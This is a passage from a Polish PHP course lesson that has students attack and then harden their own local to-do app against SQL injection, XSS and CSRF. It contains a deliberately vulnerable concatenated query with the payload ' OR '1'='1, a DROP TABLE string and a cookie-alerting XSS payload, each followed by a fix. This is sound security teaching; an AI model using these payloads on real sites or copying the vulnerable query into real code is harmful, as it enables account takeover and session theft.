    &lt;style&gt;
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .login-container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
            max-width: 400px;
            width: 100%;
        }
        h1 {
            text-align: center;
            color: #333;
            margin-bottom: 30px;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
        }
        input:focus {
            outline: none;
            border-color: #667eea;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .warning {
            background: #fff3cd;
            color: #856404;
            padding: 10px;
            border-radius: 5px;
            margin-bottom: 20px;
            text-align: center;
        }
        .security-info {
            background: #e7f3ff;
            color: #0c5460;
            padding: 15px;
            border-radius: 5px;
            margin-top: 20px;
            font-size: 12px;
        }
        .security-info h3 {
            margin-bottom: 10px;
        }
        .security-info ul {
            margin-left: 20px;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;div class="login-container"&gt;
    &lt;h1&gt;Bezpieczne logowanie&lt;/h1&gt;
    
    &lt;?php if (!empty($errors)): ?&gt;
        &lt;div class="error"&gt;
            &lt;?php foreach ($errors as $error): ?&gt;
                &lt;p&gt;&lt;?= htmlspecialchars($error) ?&gt;&lt;/p&gt;
            &lt;?php endforeach; ?&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    
    &lt;?php if ($attempts_left &gt; 0 &amp;&amp; $attempts_left &lt; 5): ?&gt;
        &lt;div class="warning"&gt;
            Pozostało prób: &lt;?= $attempts_left ?&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    
    &lt;form method="POST"&gt;
        &lt;input type="hidden" name="csrf_token" value="&lt;?= htmlspecialchars($csrf_token) ?&gt;"&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Username:&lt;/label&gt;
            &lt;input type="text" 
                   name="username" 
                   value="&lt;?= htmlspecialchars($_POST&#91;'username'] ?? '') ?&gt;"
                   required&gt;
        &lt;/div&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Hasło:&lt;/label&gt;
            &lt;input type="password" name="password" required&gt;
        &lt;/div&gt;
        
        &lt;button type="submit"&gt;Zaloguj się&lt;/button&gt;
    &lt;/form&gt;
    
    &lt;div class="security-info"&gt;
        &lt;h3&gt;Zabezpieczenia:&lt;/h3&gt;
        &lt;ul&gt;
            &lt;li&gt;CSRF Protection&lt;/li&gt;
            &lt;li&gt;Rate Limiting (5 prób / 5 min)&lt;/li&gt;
            &lt;li&gt;Password Hashing (bcrypt)&lt;/li&gt;
            &lt;li&gt;Prepared Statements&lt;/li&gt;
            &lt;li&gt;XSS Protection&lt;/li&gt;
            &lt;li&gt;Session Security&lt;/li&gt;
            &lt;li&gt;Security Headers&lt;/li&gt;
        &lt;/ul&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h2 class="wp-block-heading">Najważniejsze zasady</h2>



<ul class="wp-block-list">
<li>NIE UFAJ DANOM OD UŻYTKOWNIKA&nbsp;&#8211; ZAWSZE waliduj i sanityzuj</li>



<li>Prepared Statements&nbsp;&#8211; jedyna skuteczna ochrona przed SQL Injection</li>



<li>htmlspecialchars()&nbsp;&#8211; ZAWSZE przy wyświetlaniu danych użytkownika</li>



<li>password_hash()&nbsp;&#8211; NIGDY plain text haseł</li>



<li>Tokeny CSRF&nbsp;&#8211; dla wszystkich formularzy zmieniających dane</li>



<li>Security Headers&nbsp;&#8211; pierwsza linia obrony</li>



<li>HTTPS&nbsp;&#8211; w produkcji ZAWSZE</li>



<li>Rate Limiting&nbsp;&#8211; ochrona przed brute force</li>



<li>Session Security&nbsp;&#8211; regeneruj ID, sprawdzaj fingerprint</li>



<li>Keep it simple&nbsp;&#8211; prostszy kod = mniej błędów</li>
</ul>



<h1 class="wp-block-heading">TaskQuest 2.2 — konta z hasłem i obrona przed atakami</h1>



<p class="wp-block-paragraph">Po Lekcji 21 TaskQuest ma zadania w bazie, XP, serię dni i avatary. Działa, ale jest bardzo łatwy do oszukania. Każdy, kto zna login <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code>, wchodzi na konto Kamy bez hasła. Tytuł zadania może być kodem, który wykona się w przeglądarce. Obca strona internetowa może „kliknąć” za gracza przycisk „Usuń”.</p>



<p class="wp-block-paragraph">Dziś wejdziesz w rolę atakującego i spróbujesz przełamać własną aplikację. Każdy udany atak od razu naprawisz. Na koniec TaskQuest dostanie prawdziwe konta: rejestrację i logowanie z hasłem.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Lekcja 20 jest w tym kursie pomijana. Pracujesz na projekcie w stanie po Lekcji 21.</p>
</blockquote>



<h3 class="wp-block-heading">Cel lekcji</h3>



<p class="wp-block-paragraph">Nauczyć się:</p>



<ul class="wp-block-list">
<li>rozpoznawać <strong>SQL injection</strong> i sprawdzać, czy aplikacja jest na nie odporna,</li>



<li>rozpoznawać <strong>XSS</strong> i bronić się przed nim funkcją <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code>,</li>



<li>rozpoznawać <strong>CSRF</strong> i bronić się przed nim tokenem w formularzu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">random_bytes()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">bin2hex()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">hash_equals()</code>),</li>



<li>bezpiecznie przechowywać hasła (<code class="prettyprint lang-sql" style="font-size: 0.85em;">password_hash()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_verify()</code>),</li>



<li>blokować wykonywanie skryptów w katalogu z plikami od użytkowników (<code class="prettyprint lang-sql" style="font-size: 0.85em;">.htaccess</code>).</li>
</ul>



<p class="wp-block-paragraph">Efekt: nowa strona <code class="prettyprint lang-sql" style="font-size: 0.85em;">rejestracja.php</code>, logowanie z hasłem, każdy formularz POST z tokenem, wszystkie dane od użytkownika wyświetlane jako zwykły tekst, katalog avatarów zabezpieczony po stronie serwera.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Uwaga — co jest, a czego jeszcze nie ma:</strong></p>



<ul class="wp-block-list">
<li>Komunikaty błędów <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> nadal trafiają do użytkownika (np. nazwy kolumn). Ukryjemy je i zapiszemy do logu w Lekcji 23 (debugowanie i obsługa błędów).</li>



<li>Ograniczanie liczby prób logowania, nagłówki bezpieczeństwa, HTTPS i flagi ciasteczka sesji omawiamy tylko krótko w sekcji 3. Część z nich jest w zadaniach końcowych.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> nadal jest publiczna. To narzędzie dla programisty, na serwerze produkcyjnym się go nie zostawia.</li>
</ul>
</blockquote>



<h1 class="wp-block-heading">Rozgrzewka — 4 pytania z Lekcji 21</h1>



<ol class="wp-block-list">
<li>Dlaczego TaskQuest nie sprawdza formatu pliku po kluczu <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES['avatar']['type']</code>?</li>



<li>Avatar Kamy zapisujemy jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar_1_&lt;czas&gt;.png</code>, a nie pod nazwą, którą przysłała przeglądarka. Podaj jeden powód związany z bezpieczeństwem.</li>



<li>Co sprawdza <code class="prettyprint lang-sql" style="font-size: 0.85em;">getimagesize()</code>, a czego nie sprawdza?</li>



<li>Formularz avatara ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">accept=".jpg,.jpeg,.png,.webp"</code>. Czy to chroni aplikację? Dlaczego?</li>
</ol>



<h1 class="wp-block-heading">1. Wracamy do naszego TaskQuest</h1>



<h3 class="wp-block-heading">Co zostaje, co dochodzi, co zmieniamy</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Element</th><th>Po Lekcji 21</th><th>Po Lekcji 22</th></tr></thead><tbody><tr><td>zapytania SQL</td><td>wyłącznie prepared statements</td><td><strong>bez zmian</strong> — sprawdzimy, że to wystarcza</td></tr><tr><td>wyświetlanie danych</td><td>tekst od użytkownika trafia do HTML bez zmian</td><td><strong>zmiana:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code> przy wyświetlaniu</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_sesji.php</code></td><td>4 funkcje</td><td><strong>dochodzą</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTokenCsrf()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzTokenCsrf()</code></td></tr><tr><td>formularze POST (7 rodzajów)</td><td>bez zabezpieczenia</td><td><strong>dochodzi</strong> ukryte pole <code class="prettyprint lang-sql" style="font-size: 0.85em;">token_csrf</code></td></tr><tr><td>strony przyjmujące POST</td><td>sprawdzają metodę</td><td><strong>dochodzi</strong> sprawdzenie tokenu</td></tr><tr><td>kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy.haslo_hash</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> u wszystkich</td><td><strong>zmiana:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">NOT NULL</code>, hash hasła</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_tekstowe.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania($login)</code></td><td><strong>zmiana:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania($login, $haslo)</code>; <strong>dochodzi</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneRejestracji()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code></td><td>11 funkcji</td><td><strong>dochodzą</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzDaneLogowania()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajUzytkownika()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code></td><td>sam login</td><td><strong>zmiana:</strong> login + hasło, wspólny komunikat błędu</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">rejestracja.php</code></td><td>nie ma</td><td><strong>nowy plik</strong></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/.htaccess</code></td><td>nie ma</td><td><strong>nowy plik:</strong> zakaz wykonywania PHP</td></tr><tr><td>zadania, „Zrobione!”, usuwanie, avatar, ranking</td><td>działają</td><td><strong>działają tak samo</strong> (dochodzi tylko token i escapowanie)</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Docelowa struktura projektu</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/
├── index.php                        (zmiana: escapowanie, token w 3 formularzach)
├── rejestracja.php                  NOWY
├── zaloguj.php                      (zmiana: hasło, token, link do rejestracji)
├── wyloguj.php                      (zmiana: sprawdzenie tokenu)
├── dodaj-zadanie.php                (zmiana: token, escapowanie)
├── oznacz-wykonane.php              (zmiana: sprawdzenie tokenu, escapowanie)
├── usun-zadanie.php                 (zmiana: sprawdzenie tokenu, escapowanie)
├── profil.php                       (zmiana: token, escapowanie)
├── diagnostyka.php                  (zmiana: 23 ścieżki)
├── classes/                         bez zmian
├── config/config.php                bez zmian
├── includes/
│   ├── footer.php                   (zmiana: „TaskQuest 2.2”)
│   ├── funkcje_sesji.php            (zmiana: funkcje tokenu)
│   ├── funkcje_tekstowe.php         (zmiana: walidacja logowania i rejestracji)
│   ├── funkcje_bazy.php             (zmiana: 2 nowe funkcje)
│   └── ... pozostałe                bez zmian
├── sql/taskquest.sql                (zmiana: haslo_hash NOT NULL, hashe kont testowych)
└── uploads/avatary/
    └── .htaccess                    NOWY</code></pre>



<h3 class="wp-block-heading">Przygotowanie (zrób to teraz)</h3>



<ol class="wp-block-list">
<li>Zrób kopię zapasową katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja21/</code> (obok, nie w środku).</li>



<li>Uruchom w XAMPP <strong>Apache</strong> i <strong>MySQL</strong>.</li>



<li>Przygotuj <strong>dwie przeglądarki</strong>, np. Chrome i Firefox. Do ataku CSRF (sekcja 5) będzie potrzebny Firefox. Wyjaśnienie znajdziesz w sekcji 5.</li>



<li>Zaloguj się jako Kama i sprawdź, że lista zadań, „Zrobione!”, „Usuń” i avatar działają.</li>
</ol>



<h1 class="wp-block-heading">2. Problem w aplikacji</h1>



<p class="wp-block-paragraph">Wyobraź sobie, że TaskQuest trafia do całej szkoły. Oto cztery rzeczy, które ktoś może zrobić <strong>już dziś</strong>:</p>



<ol class="wp-block-list">
<li><strong>Wejść na cudze konto.</strong> Wystarczy wpisać login <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code>. Loginy widać w rankingu.</li>



<li><strong>Wstrzyknąć kod do strony.</strong> Tytuł zadania <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;b&gt;PHP&lt;/b&gt;</code> wyświetla się pogrubiony (Eksperyment 5 z Lekcji 13). Skoro przechodzi <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;b&gt;</code>, przejdzie też <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;script&gt;</code>.</li>



<li><strong>Kazać przeglądarce gracza wysłać formularz.</strong> Obca strona może wysłać do TaskQuest formularz „Usuń”. Przeglądarka dołączy do niego ciasteczko sesji gracza, a TaskQuest uzna, że to on kliknął.</li>



<li><strong>Podrzucić skrypt do katalogu avatarów.</strong> Walidacja w <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code> na to nie pozwala, ale plik może trafić do <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/</code> inną drogą, np. przez błąd w kodzie.</li>
</ol>



<p class="wp-block-paragraph">Plan lekcji:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">SQL injection   → sprawdzamy, że TaskQuest jest odporny (bez zmian w kodzie)
XSS             → htmlspecialchars() przy wyświetlaniu
CSRF            → token w każdym formularzu POST
konta z hasłem  → password_hash(), password_verify(), rejestracja
katalog uploads → .htaccess</code></pre>



<p class="wp-block-paragraph">Kolejność nie jest przypadkowa. Najpierw zabezpieczasz formularze, które już istnieją. Nowy formularz rejestracji napiszesz na końcu, od razu bezpiecznie.</p>



<h1 class="wp-block-heading">3. Atak 1: SQL injection</h1>



<h2 class="wp-block-heading">3.1 Na czym polega atak</h2>



<p class="wp-block-paragraph">SQL injection (wstrzyknięcie SQL) zdarza się, gdy program <strong>skleja</strong> zapytanie z tekstem od użytkownika. Wtedy użytkownik może wpisać nie tylko dane, ale też fragment polecenia SQL.</p>



<p class="wp-block-paragraph">Sprawdź to w brudnopisie. Utwórz w katalogu projektu plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

$polaczenie = polaczZBaza();
$login = "' OR '1'='1";   // „login” wpisany przez atakującego

// ŹLE: dane sklejone z zapytaniem
$sql = "SELECT id, login FROM uzytkownicy WHERE login = '$login'";
echo '&lt;p&gt;Zapytanie: ' . $sql . '&lt;/p&gt;';

$wynik = $polaczenie-&gt;query($sql);
$wiersz = $wynik-&gt;fetch_assoc();

if ($wiersz === null) {
    echo '&lt;p&gt;Nie znaleziono nikogo.&lt;/p&gt;';
} else {
    echo '&lt;p&gt;Znaleziono: ' . $wiersz&#91;'login'] . '&lt;/p&gt;';
}</code></pre>



<p class="wp-block-paragraph">Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/taskquest/brudnopis.php</code>. Zobaczysz zapytanie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT id, login FROM uzytkownicy WHERE login = '' OR '1'='1'</code></pre>



<p class="wp-block-paragraph">Apostrof z „loginu” zamknął tekst w SQL, a reszta stała się <strong>warunkiem</strong>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">'1'='1'</code> jest zawsze prawdą, więc zapytanie zwraca wszystkich użytkowników, a program bierze pierwszego, czyli Kamę. Gdyby tak działało logowanie, atakujący wszedłby na konto Kamy bez znajomości loginu i hasła.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$polaczenie-&gt;query()</code> wykonuje zapytanie bez prepared statement. W TaskQuest go nie używamy. Tutaj pojawia się wyłącznie po to, żeby pokazać atak.</p>
</blockquote>



<h2 class="wp-block-heading">3.2 SAMODZIELNIE</h2>



<p class="wp-block-paragraph">Pod kodem z 3.1 dopisz w brudnopisie <strong>to samo wyszukiwanie</strong> napisane tak jak w TaskQuest: przez prepared statement, z tym samym <code class="prettyprint lang-sql" style="font-size: 0.85em;">$login</code>. Wypisz „Znaleziono: &#8230;” albo „Nie znaleziono nikogo.”</p>



<p class="wp-block-paragraph">Oczekiwany wynik: wersja sklejana znajduje Kamę, a prepared statement <strong>nie znajduje nikogo</strong>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Schemat znasz z Lekcji 18: <code class="prettyprint lang-sql" style="font-size: 0.85em;">prepare()</code> ze znakiem <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>, potem <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">execute()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie-&gt;prepare('SELECT id, login FROM uzytkownicy WHERE login = ?');
$zapytanie-&gt;bind_param(...);
// ...</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie-&gt;prepare('SELECT id, login FROM uzytkownicy WHERE login = ?');
$zapytanie-&gt;bind_param('s', $login);
$zapytanie-&gt;execute();
$wiersz = $zapytanie-&gt;get_result()-&gt;fetch_assoc();

if ($wiersz === null) {
    echo '&lt;p&gt;Prepared statement: nie znaleziono nikogo.&lt;/p&gt;';
} else {
    echo '&lt;p&gt;Prepared statement: znaleziono ' . $wiersz&#91;'login'] . '&lt;/p&gt;';
}</code></pre>



<p class="wp-block-paragraph"><strong>Dlaczego to działa?</strong> Przy prepared statement baza najpierw dostaje samo polecenie z <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>, a dane przychodzą osobno. Baza wie, że wszystko w <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code> to <strong>wartość</strong>, a nie fragment polecenia. Dlatego szuka użytkownika o loginie dosłownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">' OR '1'='1</code>. Takiego nie ma.</p>



<p class="wp-block-paragraph">Sprawdź jeszcze w wersji sklejanej login <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026' -- </code> (ze spacją na końcu). <code class="prettyprint lang-sql" style="font-size: 0.85em;">--</code> rozpoczyna w SQL komentarz, więc reszta zapytania zostaje wyłączona.</p>
</details>



<h2 class="wp-block-heading">3.3 Audyt TaskQuest</h2>



<p class="wp-block-paragraph"><strong>Od tego miejsca pracujesz w projekcie</strong> (brudnopis zostaw, przyda się w sekcji 6).</p>



<p class="wp-block-paragraph">W VS Code otwórz wyszukiwanie we wszystkich plikach (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Ctrl+Shift+F</code>) i sprawdź:</p>



<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">-&gt;query(</code> — poza <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> nie powinno być <strong>ani jednego</strong> wyniku.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">prepare(</code> — obejrzyj każde zapytanie. Czy w tekście SQL jest gdziekolwiek zmienna (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$...</code>)? Nie powinno jej być. Dane mogą trafiać do zapytania wyłącznie przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>.</li>
</ol>



<p class="wp-block-paragraph">Jeśli wszystko się zgadza, TaskQuest jest odporny na SQL injection od Lekcji 18 i nic nie zmieniasz. Wniosek na przyszłość: <strong>jedna sklejona linijka wystarczy</strong>, żeby ochrona przestała działać. Dlatego reguła z L18 (każde zapytanie przez prepared statement, także takie, w którym „dane są przecież bezpieczne”) nie ma wyjątków.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Materiał źródłowy pokazuje też ataki typu <code class="prettyprint lang-sql" style="font-size: 0.85em;">'; DROP TABLE users; --</code>. Metoda <code class="prettyprint lang-sql" style="font-size: 0.85em;">query()</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> wykonuje tylko <strong>jedno</strong> polecenie, więc ten atak w naszej wersji skończy się błędem składni. Nie traktuj tego jako ochrony: inne funkcje i sterowniki potrafią wykonać kilka poleceń naraz.</p>
</blockquote>



<h2 class="wp-block-heading">3.4 Czego dziś nie robimy (krótko)</h2>



<p class="wp-block-paragraph">Materiał źródłowy opisuje jeszcze kilka zabezpieczeń. W tej lekcji tylko je nazywamy:</p>



<ul class="wp-block-list">
<li><strong>ograniczanie prób logowania</strong> (rate limiting), czyli blokada po kilku nieudanych próbach — zadanie końcowe C,</li>



<li><strong>nagłówki bezpieczeństwa</strong>, np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">X-Frame-Options</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">X-Content-Type-Options</code> — zadanie końcowe D,</li>



<li><strong>flagi ciasteczka sesji</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">HttpOnly</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">SameSite</code> — zadanie końcowe B,</li>



<li><strong>HTTPS</strong> — szyfrowanie połączenia ustawia się na serwerze, nie w kodzie PHP. XAMPP na lekcji działa bez niego. Bez HTTPS hasło z formularza leci przez sieć jawnym tekstem.</li>
</ul>



<h1 class="wp-block-heading">4. Atak 2: XSS</h1>



<h2 class="wp-block-heading">4.1 Na czym polega atak</h2>



<p class="wp-block-paragraph">XSS (<em>cross-site scripting</em>) zdarza się, gdy tekst od użytkownika trafia do HTML bez zmian. Przeglądarka nie wie, że to „tylko tytuł zadania”. Jeśli tekst wygląda jak znacznik, wykona go jak znacznik.</p>



<p class="wp-block-paragraph"><strong>Zaatakuj TaskQuest.</strong> Na koncie Kamy dodaj zadanie o tytule:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;img src="x" onerror="alert(document.cookie)"&gt;</code></pre>



<p class="wp-block-paragraph">Termin dowolny, XP 10. Po powrocie na listę wyskoczy okienko z tekstem <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID=...</code>. To identyfikator Twojej sesji, czyli dokładnie to, co w Eksperymencie 5 Lekcji 14 skopiowałaś/skopiowałeś do innej przeglądarki, żeby przejąć sesję. Tu skrypt tylko pokazał go w okienku. Prawdziwy atakujący wysłałby go na swój serwer.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Obrazek <code class="prettyprint lang-sql" style="font-size: 0.85em;">x</code> nie istnieje, więc przeglądarka wywołuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">onerror</code>, czyli kod JavaScript. Samo <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;script&gt;</code> w tytule też zadziała, ale wariant z <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;img&gt;</code> jest krótszy i działa w większej liczbie miejsc.</p>
</blockquote>



<p class="wp-block-paragraph">„Przecież to moje zadanie, sama/sam sobie szkodzę” — na razie tak. W sekcji 5 zobaczysz, jak <strong>obca strona</strong> wstawia takie zadanie na listę innego gracza.</p>



<p class="wp-block-paragraph">Usuń to zadanie przyciskiem „Usuń”.</p>



<h2 class="wp-block-heading">4.2 Nowy mechanizm: <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code></h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code> zamienia znaki, które mają w HTML specjalne znaczenie, na <strong>encje</strong>, czyli zapis „pokaż ten znak jako tekst”:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Znak</th><th>Encja</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;lt;</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">&gt;</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;gt;</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;amp;</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">"</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;quot;</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">'</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;#039;</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">W brudnopisie <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis2.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

$tytul = "&lt;b&gt;PHP&lt;/b&gt; i \"cudzysłów\"";

echo '&lt;p&gt;Bez ochrony: ' . $tytul . '&lt;/p&gt;';
echo '&lt;p&gt;Z ochroną: ' . htmlspecialchars($tytul) . '&lt;/p&gt;';</code></pre>



<p class="wp-block-paragraph">W przeglądarce pierwszy tytuł jest pogrubiony, a drugi wyświetla się dosłownie ze znacznikami. Włącz „Pokaż źródło strony” (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Ctrl+U</code>) i zobacz, co naprawdę wysłał PHP: <code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;lt;b&amp;gt;PHP&amp;lt;/b&amp;gt;</code>.</p>



<p class="wp-block-paragraph">Od PHP 8.1 samo <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars($tekst)</code> zamienia <strong>oba</strong> rodzaje cudzysłowów i poprawnie traktuje polskie znaki (UTF-8). Dodatkowe parametry, które widać w starszych materiałach (<code class="prettyprint lang-sql" style="font-size: 0.85em;">ENT_QUOTES, 'UTF-8'</code>), nie są już potrzebne.</p>



<h3 class="wp-block-heading">Reguła TaskQuest</h3>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Każdy <strong>tekst</strong>, który trafia do HTML, a nie został w całości napisany w naszym kodzie (przyszedł z formularza, bazy, ciasteczka, adresu albo z komunikatu wyjątku), przepuszczamy przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code> <strong>w momencie wyświetlania</strong>.</p>
</blockquote>



<p class="wp-block-paragraph">Z tej reguły wynikają trzy rzeczy:</p>



<ul class="wp-block-list">
<li><strong>Nie escapujemy</strong> liczb typu <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, XP, streak, poziom) ani tekstów wpisanych w kod (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$nazwaStrony</code>, komunikaty z <code class="prettyprint lang-sql" style="font-size: 0.85em;">ustawKomunikat()</code>, komunikaty z <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code>).</li>



